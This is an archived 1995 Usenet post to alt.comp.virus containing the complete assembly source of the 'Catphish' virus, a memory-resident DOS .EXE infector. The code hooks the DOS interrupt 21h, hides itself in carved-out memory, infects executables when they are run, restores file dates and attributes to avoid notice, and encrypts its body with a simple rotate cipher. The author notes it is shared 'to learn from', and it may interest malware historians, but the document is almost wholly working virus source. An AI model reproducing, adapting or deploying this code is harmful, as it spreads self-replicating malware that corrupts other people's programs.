home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / CATPHISH.ASM / text0000.txt < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  11.6 KB

  1. To: joshuaw@pobox.jwu.edu
  2. Subject: (fwd) CATPHISH.ASM
  3. Newsgroups: alt.comp.virus
  4.  
  5. Path: paperboy.ids.net!uunet!cs.utexas.edu!uwm.edu!msunews!news.mtu.edu!news.mtu.edu!not-for-mail
  6. From: jdmathew@mtu.edu (Icepick)
  7. Newsgroups: alt.comp.virus
  8. Subject: CATPHISH.ASM
  9. Date: 26 Jan 1995 13:06:15 -0500
  10. Organization: Michigan Technological University
  11. Lines: 486
  12. Message-ID: <3g8oan$54g@maxwell11.ee>
  13. NNTP-Posting-Host: maxwell11.ee.mtu.edu
  14. X-Newsreader: TIN [version 1.2 PL1]
  15.  
  16.  
  17.  
  18. name    VIRUSTEST
  19.         title
  20. code    segment
  21.         assume  cs:code, ds:code, es:code
  22.         org     100h
  23.  
  24. ;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  25. ;                        The Catphish Virus.
  26. ;
  27. ;   The Catphish virus is a resident .EXE infector.
  28. ;                Size: 678 bytes (decimal).
  29. ;                No activation (bomb).
  30. ;                Saves date and file attributes.
  31. ;
  32. ;         If assembling, check_if_resident jump must be marked over
  33. ;           with nop after first execution (first execution will hang
  34. ;           system).
  35. ;
  36. ;         *** Source is made available to learn from, not to
  37. ;               change author's name and claim credit! ***
  38.  
  39. start:
  40.         call    setup                             ; Find "delta offset".
  41. setup:
  42.         pop     bp
  43.         sub     bp, offset setup-100h
  44.         jmp     check_if_resident                 ; See note above about jmp!
  45.  
  46. pre_dec_em:
  47.         mov bx,offset infect_header-100h
  48.         add bx,bp
  49.         mov cx,endcrypt-infect_header
  50.  
  51. ror_em:
  52.         mov dl,byte ptr cs:[bx]
  53.         ror dl,1                                  ; Decrypt virus code
  54.         mov byte ptr cs:[bx],dl                   ;   by rotating right.
  55.         inc bx
  56.         loop ror_em
  57.  
  58.         jmp check_if_resident
  59.  
  60. ;--------------------------------- Infect .EXE header -----------------------
  61. ;   The .EXE header modifying code below is my reworked version of
  62. ;     Dark Angel's code found in his Phalcon/Skism virus guides.
  63.  
  64.  
  65. infect_header:
  66.           push bx
  67.           push dx
  68.           push ax
  69.  
  70.  
  71.  
  72.           mov     bx, word ptr [buffer+8-100h]    ; Header size in paragraphs
  73.                ;  ^---make sure you don't destroy the file handle
  74.           mov     cl, 4                           ; Multiply by 16.  Won't
  75.           shl     bx, cl                          ; work with headers > 4096
  76.                                                   ; bytes.  Oh well!
  77.           sub     ax, bx                          ; Subtract header size from
  78.           sbb     dx, 0                           ; file size
  79.     ; Now DX:AX is loaded with file size minus header size
  80.           mov     cx, 10h                         ; DX:AX/CX = AX Remainder DX
  81.           div     cx
  82.  
  83.  
  84.           mov     word ptr [buffer+14h-100h], dx  ; IP Offset
  85.           mov     word ptr [buffer+16h-100h], ax  ; CS Displacement in module
  86.  
  87.  
  88.           mov     word ptr [buffer+0Eh-100h], ax     ; Paragraph disp. SS
  89.           mov     word ptr [buffer+10h-100h], 0A000h ; Starting SP
  90.  
  91.           pop ax
  92.           pop dx
  93.  
  94.           add ax, endcode-start                   ; add virus size
  95.           cmp ax, endcode-start
  96.           jb fix_fault
  97.           jmp execont
  98.  
  99.  
  100. war_cry  db 'Cry Havoc, and let slip the Dogs of War!',0
  101. v_name   db '[Catphish]',0                        ; Virus name.
  102. v_author db 'FirstStrike',0                       ; Me.
  103. v_stuff  db 'Kraft!',0
  104.  
  105.  
  106. fix_fault:
  107.           add dx,1d
  108.  
  109. execont:
  110.           push ax
  111.           mov cl, 9
  112.           shr ax, cl
  113.           ror dx, cl
  114.           stc
  115.  
  116.           adc dx, ax
  117.           pop ax
  118.           and ah, 1
  119.  
  120.  
  121.           mov word ptr [buffer+4-100h], dx        ; Fix-up the file size in
  122.           mov word ptr [buffer+2-100h], ax        ; the EXE header.
  123.  
  124.           pop bx
  125.           retn                                    ; Leave subroutine
  126.  
  127. ;----------------------------------------------------------------------------
  128.  
  129.  
  130. check_if_resident:
  131.         push es
  132.         xor ax,ax
  133.         mov es,ax
  134.  
  135.         cmp word ptr es:[63h*4],0040h             ; Check to see if virus
  136.         jnz grab_da_vectors                       ;   is already resident
  137.         jmp exit_normal                           ;   by looking for a 40h
  138.                                                   ;   signature in the int 63h
  139.                                                   ;   offset section of
  140.                                                   ;   interrupt table.
  141.  
  142. grab_da_vectors:
  143.  
  144.         mov ax,3521h                              ; Store original int 21h
  145.         int 21h                                   ;   vector pointer.
  146.         mov word ptr cs:[bp+dos_vector-100h],bx
  147.         mov word ptr cs:[bp+dos_vector+2-100h],es
  148.  
  149.  
  150.  
  151. load_high:
  152.         push ds
  153.  
  154. find_chain:                                       ; Load high routine that
  155.                                                   ;   uses the DOS internal
  156.      mov ah,52h                                   ;   table function to find
  157.      int 21h                                      ;   start of MCB and then
  158.                                                   ;   scales up chain to
  159.      mov ds,es: word ptr [bx-2]                   ;   find top. (The code
  160.      assume ds:nothing                            ;   is long, but it is the
  161.                                                   ;   only code that would
  162.      xor si,si                                    ;   work when an infected
  163.                                                   ;   .EXE was to be loaded
  164. Middle_check:                                     ;   into memory.
  165.  
  166.      cmp byte ptr ds:[0],'M'
  167.      jne Check4last
  168.  
  169. add_one:
  170.      mov ax,ds
  171.      add ax,ds:[3]
  172.      inc ax
  173.  
  174.      mov ds,ax
  175.      jmp Middle_check
  176.  
  177. Check4last:
  178.      cmp byte ptr ds:[0],'Z'
  179.      jne Error
  180.      mov byte ptr ds:[0],'M'
  181.      sub word ptr ds:[3],(endcode-start+15h)/16h+1
  182.      jmp add_one
  183.  
  184. error:
  185.      mov byte ptr ds:[0],'Z'
  186.      mov word ptr ds:[1],008h
  187.      mov word ptr ds:[3],(endcode-start+15h)/16h+1
  188.  
  189.      push ds
  190.      pop ax
  191.      inc ax
  192.      push ax
  193.      pop es
  194.  
  195.  
  196.  
  197.  
  198.  
  199. move_virus_loop:
  200.         mov bx,offset start-100h                  ; Move virus into carved
  201.         add bx,bp                                 ;   out location in memory.
  202.         mov cx,endcode-start
  203.         push bp
  204.         mov bp,0000h
  205.  
  206. move_it:
  207.         mov dl, byte ptr cs:[bx]
  208.         mov byte ptr es:[bp],dl
  209.         inc bp
  210.         inc bx
  211.         loop move_it
  212.         pop bp
  213.  
  214.  
  215.  
  216. hook_vectors:
  217.  
  218.         mov ax,2563h                              ; Hook the int 21h vector
  219.         mov dx,0040h                              ;   which means it will
  220.         int 21h                                   ;   point to virus code in
  221.                                                   ;   memory.
  222.         mov ax,2521h
  223.         mov dx,offset virus_attack-100h
  224.         push es
  225.         pop ds
  226.         int 21h
  227.  
  228.  
  229.  
  230.  
  231.         pop ds
  232.  
  233.  
  234.  
  235. exit_normal:                                      ; Return control to
  236.         pop es                                    ;   infected .EXE
  237.         mov ax, es                                ;   (Dark Angle code.)
  238.         add ax, 10h
  239.         add word ptr cs:[bp+OrigCSIP+2-100h], ax
  240.  
  241.         cli
  242.         add ax, word ptr cs:[bp+OrigSSSP+2-100h]
  243.         mov ss, ax
  244.         mov sp, word ptr cs:[bp+OrigSSSP-100h]
  245.         sti
  246.  
  247.         xor ax,ax
  248.         xor bp,bp
  249.  
  250. endcrypt  label  byte
  251.  
  252.         db 0eah
  253. OrigCSIP dd 0fff00000h
  254. OrigSSSP dd ?
  255.  
  256. exe_attrib dw ?
  257. date_stamp dw ?
  258. time_stamp dw ?
  259.  
  260.  
  261.  
  262. dos_vector dd ?
  263.  
  264. buffer db 18h dup(?)                              ; .EXE header buffer.
  265.  
  266.  
  267.  
  268.  
  269. ;----------------------------------------------------------------------------
  270.  
  271.  
  272. virus_attack proc  far
  273.                assume cs:code,ds:nothing, es:nothing
  274.  
  275.  
  276.         cmp ax,4b00h                              ; Infect only on file
  277.         jz run_kill                               ;   executions.
  278.  
  279. leave_virus:
  280.         jmp dword ptr cs:[dos_vector-100h]
  281.  
  282.  
  283.  
  284. run_kill:
  285.         call infectexe
  286.         jmp leave_virus
  287.  
  288.  
  289.  
  290.  
  291.  
  292. infectexe:                                        ; Same old working horse
  293.         push ax                                   ;   routine that infects
  294.         push bx                                   ;   the selected file.
  295.         push cx
  296.         push es
  297.         push dx
  298.         push ds
  299.  
  300.  
  301.  
  302.         mov cx,64d
  303.         mov bx,dx
  304.  
  305. findname:
  306.         cmp byte ptr ds:[bx],'.'
  307.         jz o_k
  308.         inc bx
  309.         loop findname
  310.  
  311. pre_get_out:
  312.         jmp get_out
  313.  
  314. o_k:
  315.         cmp byte ptr ds:[bx+1],'E'                ; Searches for victims.
  316.         jnz pre_get_out
  317.         cmp byte ptr ds:[bx+2],'X'
  318.         jnz pre_get_out
  319.         cmp byte ptr ds:[bx+3],'E'
  320.         jnz pre_get_out
  321.  
  322.  
  323.  
  324.  
  325. getexe:
  326.         mov ax,4300h
  327.         call dosit
  328.  
  329.         mov word ptr cs:[exe_attrib-100h],cx
  330.  
  331.         mov ax,4301h
  332.         xor cx,cx
  333.         call dosit
  334.  
  335. exe_kill:
  336.         mov ax,3d02h
  337.         call dosit
  338.         xchg bx,ax
  339.  
  340.         mov ax,5700h
  341.         call dosit
  342.  
  343.         mov word ptr cs:[time_stamp-100h],cx
  344.         mov word ptr cs:[date_stamp-100h],dx
  345.  
  346.  
  347.  
  348.         push cs
  349.         pop ds
  350.  
  351.         mov ah,3fh
  352.         mov cx,18h
  353.         mov dx,offset buffer-100h
  354.         call dosit
  355.  
  356.         cmp word ptr cs:[buffer+12h-100h],1993h   ; Looks for virus marker
  357.         jnz infectforsure                         ;   of 1993h in .EXE
  358.         jmp close_it                              ;   header checksum
  359.                                                   ;   position.
  360. infectforsure:
  361.         call move_f_ptrfar
  362.  
  363.         push ax
  364.         push dx
  365.  
  366.  
  367.         call store_header
  368.  
  369.         pop dx
  370.         pop ax
  371.  
  372.         call infect_header
  373.  
  374.  
  375.         push bx
  376.         push cx
  377.         push dx
  378.  
  379.  
  380.         mov bx,offset infect_header-100h
  381.         mov cx,(endcrypt)-(infect_header)
  382.  
  383. rol_em:                                           ; Encryption via
  384.         mov dl,byte ptr cs:[bx]                   ;   rotating left.
  385.         rol dl,1
  386.         mov byte ptr cs:[bx],dl
  387.         inc bx
  388.         loop rol_em
  389.  
  390.         pop dx
  391.         pop cx
  392.         pop bx
  393.  
  394.         mov ah,40h
  395.         mov cx,endcode-start
  396.         mov dx,offset start-100h
  397.         call dosit
  398.  
  399.  
  400.         mov word ptr cs:[buffer+12h-100h],1993h
  401.  
  402.  
  403.         call move_f_ptrclose
  404.  
  405.         mov ah,40h
  406.         mov cx,18h
  407.         mov dx,offset buffer-100h
  408.         call dosit
  409.  
  410.         mov ax,5701h
  411.         mov cx,word ptr cs:[time_stamp-100h]
  412.         mov dx,word ptr cs:[date_stamp-100h]
  413.         call dosit
  414.  
  415. close_it:
  416.  
  417.  
  418.         mov ah,3eh
  419.         call dosit
  420.  
  421. get_out:
  422.  
  423.  
  424.         pop ds
  425.         pop dx
  426.  
  427. set_attrib:
  428.         mov ax,4301h
  429.         mov cx,word ptr cs:[exe_attrib-100h]
  430.         call dosit
  431.  
  432.  
  433.         pop es
  434.         pop cx
  435.         pop bx
  436.         pop ax
  437.  
  438.         retn
  439.  
  440. ;---------------------------------- Call to DOS int 21h ---------------------
  441.  
  442. dosit:                                            ; DOS function call code.
  443.         pushf
  444.         call dword ptr cs:[dos_vector-100h]
  445.         retn
  446.  
  447. ;----------------------------------------------------------------------------
  448.  
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458. ;-------------------------------- Store Header -----------------------------
  459.  
  460. store_header:
  461.         les  ax, dword ptr [buffer+14h-100h]      ; Save old entry point
  462.         mov  word ptr [OrigCSIP-100h], ax
  463.         mov  word ptr [OrigCSIP+2-100h], es
  464.  
  465.         les  ax, dword ptr [buffer+0Eh-100h]      ; Save old stack
  466.         mov  word ptr [OrigSSSP-100h], es
  467.         mov  word ptr [OrigSSSP+2-100h], ax
  468.  
  469.         retn
  470.  
  471. ;---------------------------------------------------------------------------
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478. ;---------------------------------- Set file pointer ------------------------
  479.  
  480. move_f_ptrfar:                                    ; Code to move file pointer.
  481.         mov ax,4202h
  482.         jmp short move_f
  483.  
  484. move_f_ptrclose:
  485.         mov ax,4200h
  486.  
  487. move_f:
  488.         xor dx,dx
  489.         xor cx,cx
  490.         call dosit
  491.         retn
  492.  
  493. ;----------------------------------------------------------------------------
  494.  
  495.  
  496. endcode         label       byte
  497.  
  498. endp
  499.  
  500. code ends
  501. end  start
  502.  
  503.